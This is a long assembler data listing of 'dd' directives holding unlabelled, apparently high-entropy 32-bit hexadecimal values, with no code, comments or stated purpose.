dd 0F7A3FFEh, 58B563ADh, 0C2C0BCFDh, 0A2805AD1h, 5EB3652Eh
dd 0EFB95101h, 8730674Ah, 0D2DD3560h, 794A0108h, 7BAC12A6h
dd 0EF113Ch, 2A926459h, 0E908E7C1h, 0FD0E744Bh, 0A3EAC557h
dd 5839B2A6h, 42D8192Ch, 5B006E32h, 9759CB89h, 0A2978644h
dd 54FEBADDh, 4A13C298h, 1D5EFE6Ch, 6EC7E390h, 62AC00ADh
dd 355FF809h, 0E163FB0h, 4C058907h, 0ACD18560h, 5DE005E6h
dd 907FD094h, 0E00CB805h, 0C182AB43h, 91E07742h, 9BB9AC7Dh
dd 6D52539Eh, 0E1FB27EBh, 7073425Dh, 10BC300h, 0A3E1B8h
dd 0B70D1161h, 0A1295E2Ah, 5B0800E6h, 13C2D6F7h, 83265C41h
dd 9097F5BFh, 0B0CE3123h, 21CC2559h, 9B0CC765h, 0F7EBC16Dh
dd 6F6CE140h, 25207E7Dh, 4C646EF5h, 41EE10Bh, 9AD00D43h
dd 0F75D0800h, 0E33AC1D3h, 824C5E0Ch, 2430FF1Eh, 4DC0D014h
dd 0EC62B7DEh, 0F609FA17h, 814E005Eh, 865CFDCEh, 0E2C2A7Fh
dd 19A54D8Eh, 0AD608985h, 5A9540DBh, 1DC32C38h, 2D3B04E8h
dd 137B6629h, 0AC10FD68h, 5A55A83Fh, 0E30EA832h, 4C2012EDh
dd 0DBBDF4A2h, 3E409898h, 0C7CE8308h, 0ACD757A2h, 9CF2A29h
dd 4D600E5Ah, 5A9C4152h, 9A178BA6h, 82ED0E52h, 1444BBD6h
dd 81002C46h, 62711CF7h, 0C9797F59h, 4D8858B9h, 35106731h
dd 295D13D8h, 4BA13DA0h, 9ED4AD6Fh, 157C33BBh, 7771BAE7h
dd 0CC68A9A1h, 0B5B4385Fh, 45BE4B95h, 0B81A83FBh, 609DC196h
dd 96F53316h, 0BA04043Ch, 81713532h, 1E4DD1Ch, 0FDC8E788h
dd 1E9B9F5Bh, 0C3D9EBDAh, 649351E9h, 4C24BE20h, 1E302AE1h
dd 6800F350h, 0AC2D5AEFh, 283CE51Ah, 31D00F21h, 0E7803F3Dh
dd 2B7F72A4h, 0AD2B719Dh, 650C9E7Ch, 4FEFF730h, 0DF93EC5Dh
dd 0CDF16992h, 3B72AF35h, 5A009DD1h, 0BB52DC50h, 9B16D775h
dd 9AB201E8h, 0AD5AB948h, 25BC1242h, 31805037h, 9F79903Ch
dd 0E506C76Ch, 2E560612h, 948F4C8h, 5E94499h, 0C07789C2h
dd 25279F9Fh, 1B5E2BA5h, 29DAE02Dh, 0CDE92FD0h, 1AB11EE0h
dd 30DAB218h, 0B0501Ch, 34D0F6ACh, 0B1EA805Fh, 0F2C2283Ah
dd 626671EBh, 0AFE9129Ch, 0DA1388h, 0BB79D272h, 9D0C8DECh
dd 0EA950A98h, 8347EA4h, 5F1ADE4Fh, 2705BC5h, 24F4E9DFh
dd 0E288387Eh, 7C226ADh, 0A2407F5Eh, 0B055B5C9h, 0BB01D406h
dd 50558F73h, 9118D880h, 40595839h, 2C2E48F5h, 0CFA5B234h
dd 0E95285D9h, 0F9D6E1E3h, 286CDD4Eh, 0AC2124B3h, 5D20F128h
dd 6109FCB7h, 0FAB30A6Bh, 0E8EA8CF6h, 41FB1DA4h, 0A7B6286Ah
dd 0D77463E2h, 0FE25A9C7h, 0C1E9D023h, 0F6812096h, 884359Bh
dd 128C9230h, 3146B79h, 9D66D507h, 0D20180B4h, 1E89964h
dd 0C22559BAh, 4523489Ah, 0E56881D4h, 0D9A63A69h, 0B160167Dh
dd 21DEC5Ch, 0B5305DC1h, 0FBC15D6Eh, 0ECC63006h, 4F2C5B81h
dd 45B5B3A4h, 0C97020D6h, 5F58F0A8h, 386C9BB5h, 0D1C1291Ch
dd 0CFF6DCD7h, 69EB519Dh, 0A1CA9A5Fh, 9D68E9A0h, 0D22E7A35h
dd 0BE6498CCh, 2A11AE05h, 0CF84890Bh, 483293C0h, 88275822h
dd 0A3033303h, 48E6016Eh, 17BB9040h, 0B0103ACFh, 4095DD0h
dd 9315C8Ah, 8F8D74D4h, 43E5B7E9h, 8B89AACEh, 72F11880h
dd 314C6D25h, 873FA890h, 2625DAh, 502E687Eh, 0BC6F4BA2h
dd 0BBD31347h, 818071E8h, 741941C9h, 4D20D498h, 0AD5A4AB7h
dd 0DA1A1024h, 14EA6D6h, 7520349Ch, 0CD7A4481h, 5310AF2Ah
dd 0B35E3C3Ah, 0E9887B4Ah, 61C94AA5h, 6487EBDEh, 13BD4504h
dd 4A7BE2A8h, 0B08D186h, 41E86988h, 0FA266098h, 4626FE47h
dd 8DD9F689h, 82DE4F70h, 9DB62F0h, 0BC4E6B85h, 456C4E63h
dd 5BA45870h, 8F1415DEh, 7C279D48h, 49520D87h, 5AF05780h
dd 0F881C730h, 66A0396Ch, 41970F68h, 8E3FA1EEh, 0F94A7EB2h
dd 0EFBC12C4h, 2CB68950h, 3F00E725h, 422A8CEh, 0A218DA4Fh
dd 97AA9085h, 4BFCDF5Ch, 0B314A197h, 9571DD20h, 0F9297E10h
dd 0AE135B9Fh, 68DE8B32h, 0BCEEDB5Ah, 3DBD35C0h, 0B150CCCBh
dd 0D2C908E8h, 6EAFBA00h, 2811BFDh, 3C51EDCAh, 0AE1420Eh
dd 5DD504B2h, 7A5E387h, 0AAFD58E1h, 0B59669B9h, 997CBA30h
dd 88C65F9Eh, 58955C67h, 0DC8F8076h, 5FDF1621h, 7F080349h
dd 29B985E7h, 106139D1h, 174887CDh, 4B1BB809h, 3C4AE8Ah
dd 23A502DEh, 7F00C04h, 70C06243h, 0DD5A5D1Ah, 30E7828Ch
dd 0BD566670h, 0D5390E05h, 0F5AFD1AFh, 50C77E5Eh, 9985D664h
dd 3B8C9116h, 60652768h, 5B9676D3h, 19171605h, 8B6E7C39h
dd 55CE2612h, 0F575B8Bh, 0BE6A815h, 1A5DD768h, 2D6A4113h
dd 2CD36600h, 0F2279692h
dd 47015967h, 0B54211BFh, 798F407Ch, 5CC5EF0Bh, 8DE80685h
dd 0A407B9D3h, 4A30A899h, 57A0BF08h, 646B1E29h, 8E2648B7h
dd 3EB272Ah, 0E9182C58h, 0F193CC2Bh, 4479387Dh, 8C80996h
dd 0C728F0D9h, 5D00148h, 0B923E0ADh, 886104A5h, 0CB7EF621h
dd 1AD85F79h, 0BB01FB42h, 49B3EC4Bh, 0D85FFB98h, 3FACB112h
dd 0F71662D0h, 2D68921Dh, 5B26295Dh, 23F10B1Fh, 7F0561E4h
dd 0CB013710h, 74D873C2h, 0D9056998h, 10CFB6C3h, 662C92DFh
dd 0E2E33926h, 56C36A7Bh, 1794BED0h, 84F31CC9h, 0AC138933h
dd 8A4D7839h, 2159123Bh, 5528D10Bh, 703838A0h, 68127BF5h
dd 1A4B45EAh, 0FBB51092h, 0D33F966Ch, 4A020C22h, 8BE2F955h
dd 0A47CDB5Dh, 5FED10ABh, 2D68CE70h, 34489D0Eh, 438A3B6h
dd 0B1F0258Dh, 0CB508C18h, 37F7CB8h, 0B025136Fh, 5C07D12h
dd 33005AEBh, 65354052h, 68120B2h, 91E9C229h, 0F75838AFh
dd 0ACB91270h, 0B02F64FAh, 3914DC70h, 46E13E29h, 0D85878DCh
dd 0E9104016h, 25F168EFh, 4AC27E5Dh, 0FE13130Fh, 512B5A77h
dd 604C1E8Dh, 0A159509Dh, 66252098h, 2B481466h, 0ED471C05h
dd 0B201C011h, 6AE5734Eh, 8A8C31Fh, 4E141CD0h, 94390645h
dd 9F2BD2CDh, 0FCC4FA8h, 0BE81DC1h, 96680431h, 0B1CCFA1Ch
dd 1A20EB5Ah, 2BE44171h, 14CE3B6h, 65DD84h, 0AD5D03BDh
dd 0A472984Ah, 9A449006h, 88525A51h, 864058BCh, 0D8599531h
dd 42FE2964h, 0A5D0E96Fh, 54800574h, 0F71DDC68h, 9F3F0D3h
dd 59264BF8h, 63EB8801h, 0B75DA66h, 3E3B68E2h, 3C7995A8h
dd 9FD1B646h, 53602651h, 9D8AA7E9h, 0F5209644h, 685B09A6h
dd 30DF48CBh, 0B602EA5Eh, 4594C2CAh, 32E1842Dh, 61E95F84h
dd 500CB387h, 9D9A0A05h, 286C6816h, 559562EEh, 977434DDh
dd 0E698EB6Ch, 0CCA8114Bh, 5FB06884h, 93B7C74Bh, 0C881D3DFh
dd 9D4F364Eh, 0E2078950h, 29E18CABh, 1A915569h, 0D3DD3F51h
dd 0D92CDBF9h, 7DEB800Fh, 88B6FE05h, 767AFA94h, 7E467E27h
dd 4509BBAAh, 5D017A9Dh, 47E74C0Ch, 4EE06FD4h, 9FE98F28h
dd 0A49DC7BAh, 2DFB547Fh, 6F623ABDh, 2FE398BEh, 7E2981A2h
dd 4D8C0735h, 42644091h, 0EA86A09Fh, 7FF83D58h, 78AC2D6Bh
dd 11F01148h, 7857A727h, 9E88FC37h, 80EB258Bh, 3FEA0ECAh
dd 0BFE04555h, 0E5027AA5h, 0F5E0492Ch, 6495AEDFh, 0A9C18118h
dd 680AB373h, 6FF53847h, 0AA74BB01h, 31DF254Eh, 2B6CE538h
dd 55804974h, 482E60ADh, 0C8045A6Bh, 0EA79C666h, 3CC9ACD0h
dd 0F02C4E91h, 75125606h, 0EFF8479Ch, 688B0288h, 0B48874F4h
dd 5EDF9C5Eh, 931647B5h, 0E46821D3h, 7D050263h, 0F6124BCBh
dd 2EF2EDDBh, 59FC680Bh, 0B7206BC6h, 0B709870h, 0C081B551h
dd 0C5FEED03h, 76A50A40h, 0F1CDAE4Bh, 0CB1963Ah, 58BD499Dh
dd 0B362B829h, 5C6A05E9h, 2C576D5Dh, 124CE23Bh, 55685C01h
dd 97B8E6CEh, 0E984F715h, 0DCFB1E64h, 8525C32h, 99542290h
dd 0A5662412h, 0EFEAE57Eh, 0FB6D0A01h, 0CA684D27h, 1902374Ch
dd 907D903h, 0D095EE2h, 0F4E86122h, 0A4F85140h, 0FDAA4B83h
dd 0B1FC7BFFh, 141317D2h, 0C98423E8h, 55B598D5h, 0C6E6687Ah
dd 54AC504Eh, 3707E04h, 52C0FF07h, 9D30B841h, 36421FC0h
dd 35053FFCh, 559F760Ah, 4B0D83AEh, 40B26EE8h, 14C04871h
dd 5A08612Dh, 17EBB48Ch, 8BB1389h, 327F8DEh, 0B6DBAFh
dd 6D66F6A5h, 0F7319656h, 620D5E5Ah, 0DA4621B8h, 8B87EEEAh
dd 9D5D20C8h, 0EFF57C4Ah, 0DA80806h, 394B64B0h, 65122E8Ah
dd 890E53BFh, 2AD661AEh, 958B3116h, 0B00E2225h, 266274A6h
dd 7E76BE05h, 0C4BA6928h, 3B6C83F9h, 465F8BC0h, 3002C2C3h
dd 0F289B9AFh, 1C38AC31h, 66CB135Ch, 1D001B5Dh, 0CDDEB259h
dd 7E0EC5C4h, 0F3C89617h, 24C75F5Fh, 9B4A87Ch, 51660168h
dd 0BF5488F5h, 0B50B2226h, 133C796Bh, 107891D2h, 0E2722B62h
dd 0B7F84E51h, 639CAAF8h, 27EA5349h, 0BB15D03h, 0F9BA1002h
dd 414C235Bh, 1521788Bh, 227CD4C6h, 7DC0C4B6h, 6B6802F1h
dd 0A67BD331h, 5343CB69h, 0CD57949Fh, 422CA4ADh, 4492D45Ah
dd 16E94280h, 0C565DF10h, 0C0835A85h, 15502DFAh, 80A98491h
dd 0CC6C2CFCh, 98E97509h, 5A54FAEBh, 0D22CB8B8h, 0C98A0811h
dd 0D8186C2h, 1C89BC0Eh, 494A2868h, 6A55CDC7h, 6DA2E840h
dd 251C7EE5h, 1568D969h, 27BDD1C9h, 33E54F24h, 35F41AB1h
dd 0A30AD661h, 0CAFC4FDCh, 3A1F268Dh, 0E3C673A2h, 1ABEC7C4h
dd 2F0FB23Ch, 52027729h, 0CC0A74BFh, 57D59309h, 0A70FF32h
dd 65BF09F6h, 758E02E9h, 0CC4151F8h, 1052A07h, 0DDBF92C0h
dd 0F6C66137h, 0DA2F5FD4h, 4088252h, 113CDAEh, 7B5C4748h
dd 349CFD63h, 32B1665Ch, 8160B288h, 6D354FF9h, 0A4816C5Fh
dd 422A3AF4h, 2827E5h, 0DA416C8Eh, 0D6E9166Fh, 3EF6269Ch
dd 214F2070h, 807A41F0h, 0E61D8852h, 0F403D6F6h, 93D4305Ah
dd 0E9080DE2h, 2E268CA3h, 8D13B2E2h, 688F9DDCh, 0CFC618AAh
dd 7F2859CDh, 63F8C4D0h, 0C2EA4E83h, 431EBE3Ch, 82AC725h
dd 5B2F1B2Fh, 0F7CF2C1Ch, 1CE47E1Bh, 8E28B838h, 2C29654Fh
dd 0BE0812EAh, 26816B35h, 822DE211h, 237C2860h, 0B19A491Ch
dd 16C14A71h, 0F9D3390Eh, 2B20A025h, 18175DCAh, 0EF030F16h
dd 0E3916F3Ch, 0AB8CCA7Ch, 0CAB7B92Bh, 37CE8137h, 0B230DD5Fh
dd 0E8144F79h, 0FBADE404h, 5910A110h, 8B688CF5h, 0BB83C15Ch
dd 300B0327h, 0E92FDBF1h, 0EF1E4838h, 0AE310730h, 85CF0133h
dd 59080BC7h, 30FDC5EAh, 0B42D0B8h, 2DE923C7h, 5C5B6F50h
dd 68C7A6B6h, 71741B67h, 4E7E68D0h, 0B08AF810h, 401EE81h
dd 2950B769h, 1F86C4D6h, 5D2D3F08h, 903B4122h, 2FBCDD09h
dd 0F67DC195h, 0FBC3D16Eh, 0A00D0098h, 31460161h, 87921205h
dd 84102A99h, 97212095h, 0A820B6FAh, 0F6612BDh, 0F4BE21BBh
dd 3CC2625Eh, 8E7F1405h, 9CBC5B13h, 45E79F16h, 0C71CB291h
dd 6743A2F5h, 243C9279h, 2C89F662h, 258ED792h, 8B092828h
dd 6CECD91Ch, 0F99D020Ch, 0D702EB90h, 0B3182CF7h, 506600CFh
dd 0B490B551h, 0EC4D2809h, 73F29947h, 0F007593Fh, 0D8402223h
dd 7331B130h, 802C1E51h, 592C79E9h, 5E604B8Bh, 0FD011DC4h
dd 0D6CD817Ah, 0C420D277h, 63F91AE5h, 95549CD4h, 459C2B0Eh
dd 0B2122997h, 94B152F8h, 0DD5802B6h, 687C32CEh, 7CB91E5Bh
dd 3E8895A1h, 48C5D22h, 1AACE250h, 5DEF9993h, 3E255364h
dd 7B01C8ACh, 5175160Dh, 0A8CBC221h, 4597CE70h, 5CA2FCFh
dd 16E1675Fh, 8B75A866h, 0DF92C26Ch, 7911F730h, 0E90ED60Ch
dd 9731C377h, 0F22501F1h, 0B73227CCh, 2F515C91h, 0E9C422E6h
dd 9EEDA2A7h, 48DA80C9h, 16F8FE86h, 0FA05A14Bh, 4CC26456h
dd 744DE90h, 0A4558935h, 220CBB91h, 0BAD95B33h, 2A43BDA7h
dd 6164FFF5h, 488417FDh, 585F0A98h, 801684E9h, 7108B7E4h
dd 40AC149h, 363CF168h, 4652070Ch, 78F2389Eh, 71E75D73h
dd 5902C68Bh, 0FFE98907h, 8B687176h, 0DF9E6225h, 5D09CCC2h
dd 0D38895D4h, 9933A74h, 74A8A35Dh, 83441F4Bh, 0BB304FE7h
dd 0D72E3ABFh, 0EB12B240h, 4BD3BEA5h, 0ACB0F824h, 0F3D84921h
dd 0DE34BFA4h, 0F0A86282h, 0D5F60747h, 30ABE580h, 0EA309EF5h
dd 322C591Ch, 0E52D009h, 0CA88C1CFh, 1C788EE9h, 5EBA6809h
dd 0EC973244h, 942B54D1h, 3FE7AC5Dh, 3580382Dh, 2FA30534h
dd 0E2974730h, 94070F70h
dd 0BF8B5F11h, 922AD61Dh, 6877F03Fh, 25436520h, 0B048CE9h
dd 0B9D8EE56h, 92A75FD5h, 33CA71CBh, 2DAFE7D7h, 280A1AD1h
dd 0C845F1EBh, 0B33B70E1h, 0F15CC952h, 18DC2631h, 55E2EDFh
dd 0CC53E01Dh, 2DC80105h, 5CE30712h, 0B35AE909h, 0D3B5DCC4h
dd 0B460157Eh, 0C010F048h, 0F06627E7h, 0DA014186h, 4546F1E0h
dd 0F925A62Eh, 300851B9h, 6C13A0FFh, 812C9Fh, 0C907C424h
dd 30B72D77h, 0E96DB43Bh, 2E1B192Fh, 0A73E2231h, 5157C9A3h
dd 0F6F20EFDh, 4906E80Bh, 65A0ADEh, 0B9365BCCh, 0D9BE0918h
dd 0BF769C7Fh, 3724B64Fh, 3C89D225h, 8613B1F6h, 0ECB9575Ch
dd 8AA44FB0h, 91FAB55Fh, 0A16AEB24h, 95F56F97h, 34A98F3Bh
dd 9C01E165h, 16A827D0h, 636C0DEDh, 84D6874Dh, 0C927BC23h
dd 0B32E2074h, 12C3FEACh, 0EE97EB80h, 9739061Ch, 59ED1604h
dd 1A5D11C9h, 8E1675F2h, 7E95156Bh, 0D01BD8E4h, 0EDC912A1h
dd 0AA227A3Bh, 46AB752Eh, 0C079C5Fh, 2FF96851h, 0B0440C6Fh
dd 42BD0ECFh, 0F7C14971h, 0FCAEDA79h, 0D397FA31h, 0BE65272Eh
dd 0F3C9090Ah, 680BD311h, 187F7B83h, 0BFDCE96Bh, 0A2DFA6B2h
dd 0A2ED23D5h, 775EF5B6h, 214AC593h, 0FAF439BDh, 0C0997F67h
dd 2D685885h, 805E18EBh, 5B951C0h, 756D2717h, 13049274h
dd 260E25BBh, 0B365B527h, 0C513CCA2h, 0EFE36DD5h, 89A3FD13h
dd 0C5C7A0FBh, 89EF4Ah, 6187F0FFh, 5AC79DC3h, 62683430h
dd 0EE1EBD50h, 0E2237195h, 75A2BE56h, 44B5D7h, 0CD270877h
dd 976C5826h, 0D128A7C4h, 0EC09E5E7h, 0E032DE30h, 9F623FF8h
dd 0B0772612h, 91E57C03h, 5F9C0287h, 0D55181h, 0F2B850DEh
dd 0A30272Bh, 74B473F0h, 7E69CE87h, 0BE973D1h, 935E5D9Dh
dd 5428820Ah, 0EF6B3355h, 552F62E9h, 795406E1h, 2FA292D2h
dd 947FF841h, 0ADCC08D9h, 0B7CBB600h, 1DEF80D7h, 5DF72841h
dd 45A44C7h, 0D8DE8249h, 5E3B900h, 0F6167E4Bh, 5C3FCB61h
dd 0A225B5C5h, 4672EE7h, 0CB868047h, 1E7C347Ah, 4E2B6649h
dd 45D77B62h, 0FE4BA7DEh, 477791FAh, 0C5153FF0h, 0D00FC094h
dd 51245B5Ah, 0BEF7A4ABh, 0A4DA1D80h, 0E02220A4h, 4F9F46BFh
dd 0AC90EC50h, 8C552DE9h, 1EEFFE20h, 0D9A022D8h, 0E35339Ah
dd 0E5A0AA62h, 0E4F8B050h, 0A1FA5E88h, 59CED464h, 0F77B5379h
dd 145BF834h, 0D76EFD1Fh, 0B37C8AE3h, 264CFB02h, 0CC36608h
dd 0EB990BC7h, 5FEBA29Fh, 0EDCB88C1h, 0F3710B38h, 855D89E4h
dd 29AFB0D3h, 0C4DC3F6Eh, 9EBA9802h, 19C024D7h, 27ADBF52h
dd 930E1064h, 0AEF28000h, 0B7B35366h, 0BC7AF3EEh, 0E922C30Bh
dd 644585Ch, 8850C1FEh, 0EAB0D8CCh, 93F56FFCh, 0D0B25B1Ch
dd 0E4E276C9h, 873456E5h, 0B14E25A7h, 0B1F178EEh, 8100CF9Fh
dd 3F0A42E6h, 0D74E0FB7h, 235A3A02h, 78F18141h, 5FF2C1Ch
dd 322EF218h, 0F067C3C8h, 5E58C790h, 8ED4294Ah, 109C8FBAh
dd 18AB951h, 662626EDh, 44978784h, 0FD119829h, 20E60DA0h
dd 88241E84h, 5B0011C7h, 17B65258h, 4BE60580h, 0BA5CD2E9h
dd 347DA229h, 5CEEE917h, 0CF8D2643h, 9DA60248h, 40E9F712h
dd 0B210DE75h, 0AD64F406h, 0E9873413h, 457116h, 2CEE5BDDh
dd 0C24809DCh, 0CE9F7CE7h, 0ABE78522h, 0F20C30EAh, 270BCA06h
dd 20F913E9h, 70431504h, 0BAECF450h, 0C1A95C9h, 1C4D35Eh
dd 808D9C09h, 2E4D59A9h, 0E098BBB3h, 9E2768C8h, 52D07662h
dd 0FDD61A7Dh, 18076FEBh, 38EC6753h, 1CE9EAC0h, 4A7074C8h
dd 0D72E1EDAh, 3238BEEDh, 67DD4D78h, 0A95B015Eh, 2F6F6538h
dd 0B608A36h, 4FBB1FA0h, 7E542E57h, 75571706h, 4D20080Ch
dd 0AC064691h, 48A8E38h, 246FC9CAh, 2638803Ah, 0CB2F4047h
dd 380C5929h, 0B4685281h, 2E2C9D2Eh, 0C0D646C8h, 71CB0594h
dd 1252197h, 2554C5C3h, 80C2307Eh, 58F194F7h, 8806E75Eh
dd 7BF2CDE7h, 564B44F0h, 82FAC524h, 457F170Ch, 84EB1FE6h
dd 0BB18B311h, 6008C450h, 0D1E958ABh, 8D2ABC8Dh, 6B3A0712h
dd 408A83E0h, 8B24C702h, 0FA1206B4h, 0B297ABE4h, 2DC7B509h
dd 0F20165ACh, 2E5E7B1Eh, 0BBEED83Eh, 58659517h, 0FC5E5EF8h
dd 0EF255FDFh, 5F58DEBAh, 50B230ACh, 0E3528182h, 5DC09AFDh
dd 4B96B06Ch, 0DD7E2422h, 0F205BBA9h, 48AFC5DBh, 0C080A5F9h
dd 45BFC31Dh, 0CC07599h, 1B82416Ch, 16EA5BE9h, 0F381F98Eh
dd 43C08C53h, 40F93D8Eh, 0D653AB7Eh, 0BB277EF8h, 7B994C12h
dd 9E988456h, 71876D25h, 55408ADBh, 0BD6BCF5Eh, 775455A9h
dd 0EA72F253h, 46D4740Ah, 8AF0451Eh, 80F8282Ch, 6E321426h
dd 0EB322BFDh, 0A0EB965Fh, 4C6107B0h, 0C204F11Dh, 0C1E29EFDh
dd 7B5AD7C0h, 5B79FCCCh, 4CB4F3A7h, 4E8221Ah, 312717EEh
dd 0C6C48061h, 0E4C18D4h, 29145072h, 7924572Fh, 0A5F4EA37h
dd 0B024BF45h, 0EE800B30h, 0BD60B50Dh, 22823056h, 465197BCh
dd 2A509713h, 532ADC67h, 0F12BFCF7h, 2E69057h, 0E9C7FE5Ah
dd 0C0CB5010h, 17BBF6B2h, 0C1173A60h, 4D0107E6h, 795E37EAh
dd 65E5DE82h, 7C4805AFh, 641D252Dh, 0D143669Ch, 0F0774B70h
dd 5B833CF1h, 3B5E822Ch, 5DDF0977h, 1BE28FB3h, 0EF4E46E4h
dd 0FAEC59E5h, 0DBD29779h, 3BF82D5Eh, 4A13D09Fh, 6548B5F8h
dd 774C4103h, 32FA521Fh, 5A124D7Ch, 7D0FEE21h, 0CADECB7Dh
dd 0BC0BF1C9h, 0B7E09827h, 340033BAh, 0D16832DEh, 91CD21CBh
dd 0CF290BAEh, 7A2D2D99h, 89298FA5h, 0AA6E542Dh, 4C5EF32Dh
dd 4D68158Ah, 7C25E666h, 80064E8Bh, 855FAA5Bh, 29198B41h
dd 2831E3B1h, 27101D2Dh, 79552587h, 11547AC3h, 211C905h
dd 69E1CFC1h, 8A4ACF39h, 37E9172Dh, 0A8480AFCh, 10B194C4h
dd 7B3D12D4h, 6B5006D8h, 0A20D51DBh, 7AF02006h, 6F0281Eh
dd 512EB26Fh, 0EEAA0890h, 40C4C780h, 0D25868FAh, 1F08B90Eh
dd 4667E2E9h, 0C0ED2C1Bh, 8C096FD9h, 66135DD6h, 831D55CFh
dd 0E913BEEEh, 317EA0A8h, 25F0C8FFh, 0DF687209h, 7E988055h
dd 3A3546B4h, 4BA79D07h, 0A9789B74h, 4F0AD40Eh, 0BBCFB130h
dd 69002B72h, 55DBF710h, 137FA3BDh, 0BA0961D1h, 59BA4141h
dd 0B6303ED6h, 0BB6900Bh, 0C86EE94Eh, 0EE4AC4DAh, 41B2FF88h
dd 35F1ECACh, 0FBE63013h, 0C308EF1h, 6AA097AEh, 0C04CF9C3h
dd 27572B3Eh, 72EDF6CEh, 0D7E8636Eh, 0FA568295h, 5A02095Dh
dd 650FB034h, 0ABD1527Fh, 0B63B1235h, 37517AD1h, 0BD2C500Ah
dd 524C6C53h, 730071A1h, 0D305356Fh, 44B937Eh, 31642F0Dh
dd 2D38BC34h, 59B5DC06h, 31ACC3Fh, 0DD62E926h, 0C51C00AFh
dd 412DEFB0h, 4FCA2BFDh, 412AF650h, 0A44DA6Fh, 0EB720D24h
dd 80E7669h, 656B767Eh, 0EFF50851h, 168D512Dh, 0F72721D2h
dd 0A6BA0051h, 212E0F3Bh, 0CB84D329h, 16CCEA03h, 2D6B3986h
dd 0BB740113h, 0C12D934h, 588920F9h, 0F33FC485h, 72801F6Ch
dd 0F501FBAEh, 6AD7821h, 41695D20h, 70CBF18Ah, 62B80441h
dd 4D5CF304h, 4805362h, 5B90C5C6h, 9260FCFDh, 1FED01ABh
dd 2A9ADCBBh, 0BD127B86h, 0A95B4AE4h, 0F9210981h, 45F9F92h
dd 0D68824h, 0D8597C68h, 30587C3Bh, 310F78BFh, 9BA15FF8h
dd 1EB04AEh, 93CA5396h, 78842E92h, 568128AFh, 0DF15329Fh
dd 5B47E40Bh, 78488790h, 5452B120h, 25D448A0h, 5DEF9A53h
dd 0E905F9E7h, 0C3F7DF1Fh, 50E0B10Bh, 78883465h, 63253ED4h
dd 99DFC84Bh, 0E328B8A2h, 344F4364h, 2CEB6012h, 0FB415036h
dd 0EA26C43Fh, 0BD21D3DCh
dd 0A478C290h, 0E2DC79BDh, 1875C743h, 2D41A9EBh, 83F6394Dh
dd 277CF140h, 4FA9B047h, 1030F3CAh, 0B15B509Fh, 0CAC62063h
dd 2A5B7704h, 29C1D9F7h, 9B61708Eh, 95A00C80h, 39E9BA05h
dd 5E124C96h, 0D4479ECCh, 33071C02h, 606F0A6Ch, 0A246AEF7h
dd 1E9050Bh, 0AD197304h, 70044329h, 57BF09BAh, 304BB62Fh
dd 395CEA29h, 0CFD6679h, 0D439BE24h, 0CD020DCDh, 4A54B478h
dd 0F29F5F63h, 0BB5DAB14h, 0CE85DC0Eh, 0DEB740E8h, 0B27A67BEh
dd 0C6F23598h, 1CE77E31h, 6C67B2ACh, 289FE10h, 54625205h
dd 5734E0EDh, 0FB1E503Fh, 7C950CC9h, 80C7573h, 1C833910h
dd 84456A00h, 0B62CE974h, 5DE953BEh, 0B96604h, 0D053B5BDh
dd 0FA9034h, 6ED83854h, 0E907E5C1h, 9202B64Fh, 7D03EAC0h
dd 0F764E1E0h, 613C1297h, 132EC1E8h, 0D310A22Ah, 94167CA2h
dd 79FFF34Fh, 79AF662Dh, 5F16424Ah, 8D025509h, 0EDD7E603h
dd 0BF32F0Dh, 39926608h, 122C771Eh, 507027F6h, 0BC0ADC0Ch
dd 40F7E29Dh, 8077C432h, 0FEE5D388h, 0FCDD96DFh, 0FDD9FCE3h
dd 97D94371h, 0C417AA05h, 0D08081B9h, 5860685Ah, 0D75C795h
dd 6B3C7F2Dh, 0F71068CEh, 0FB012513h, 5BAD3E02h, 478FA840h
dd 0F84D4078h, 830D038Dh, 4D25D42Dh, 79488914h, 0C37AD300h
dd 7FF0BF23h, 0E91572FAh, 76846396h, 3B2BE50Fh, 732F6F39h
dd 0CBC1DABCh, 730669F8h, 0E5A15EF6h, 20BAF66Ah, 0E9ED5BFDh
dd 97BC44Dh, 681780CAh, 70DF338h, 9EC6EBEh, 6BEFE9B1h
dd 17C8CE48h, 8116A37h, 40287191h, 0AE13024Ah, 0CE73C301h
dd 0AF7114D4h, 0E9CEC36Bh, 0C0A5B18Ch, 0A72404C8h, 7A104E59h
dd 715E6809h, 95606A7Eh, 0B8060911h, 4C510F8Eh, 461820E2h
dd 0ED968ED6h, 0FAAD9FEFh, 0E22C4B2Fh, 7629A277h, 85E985ADh
dd 0DEFBB85Fh, 7A0D554Bh, 0B9385F45h, 0E06CD465h, 2FE95351h
dd 2A2599A2h, 0D981EFDEh, 6C6CEA83h, 0DC84192Dh, 15A7B859h
dd 80E8866Ch, 37F72B58h, 0EA650168h, 25E93C80h, 0EB4864A8h
dd 0D487012Dh, 79570231h, 20402189h, 6A0B6593h, 0A944E920h
dd 0E1280759h, 0F5681472h, 8BCD4CA2h, 3F47E577h, 0B07D6F26h
dd 6195BBC0h, 0F1E0764Ah, 775A2EC2h, 0AEE10885h, 0B8CE8001h
dd 0A9CBC6FEh, 93F9D6F6h, 0EA00766Dh, 24A216E7h, 0BF98CA29h
dd 42E90880h, 541784Dh, 0C5B35350h, 0F3F1C1EBh, 250689A6h
dd 9DAF5088h, 4DB63158h, 0F8CF5027h, 53B32D04h, 0F95384h
dd 8003E1C0h, 0F61118F1h, 2C040AD9h, 0E0BCA74Ah, 0D2EB1D9Ch
dd 4AACB8E2h, 0AFD22CB3h, 965C4528h, 0D7F75071h, 23AA6812h
dd 61101DA3h, 542503F0h, 0D2213F15h, 5FD8A258h, 53D95553h
dd 5FE9F662h, 9453092Ah, 7707BE56h, 0AA200D40h, 15DA5D2h
dd 7D37E9BDh, 595A926Eh, 849D6144h, 6802724Ah, 4DEC468Bh
dd 5E0A0727h, 0EB56E48Dh, 0B27FCAD9h, 4A0DB649h, 0BE8FD25Ch
dd 3D02BDECh, 120730Dh, 90142F2h, 0A7578508h, 0DC48318Ah
dd 0C945A24h, 0EF1FF14Fh, 26EA180Bh, 8E776D5h, 89208584h
dd 0D62B640Eh, 0F05FCBEBh, 8A6C953Fh, 0D602A2B8h, 12D9C44h
dd 0C08327Ch, 0EC5859E7h, 772546F7h, 8BD56529h, 5BE6CBF0h
dd 6B4DC595h, 0DEF74410h, 0EE3B83E6h, 1F81BA01h, 2D076869h
dd 76D97132h, 6490BCAh, 729705FAh, 0B8FBFA75h, 799641CDh
dd 77E05005h, 0DC4F559h, 8D1F7CAh, 876417EDh, 0C680015Bh
dd 5AF32839h, 63C3DC59h, 0AD4EEBF4h, 5E76B8E0h, 68E33072h
dd 98951BAEh, 0BF761F5Dh, 36958AB4h, 8A30B560h, 0C39A2BE9h
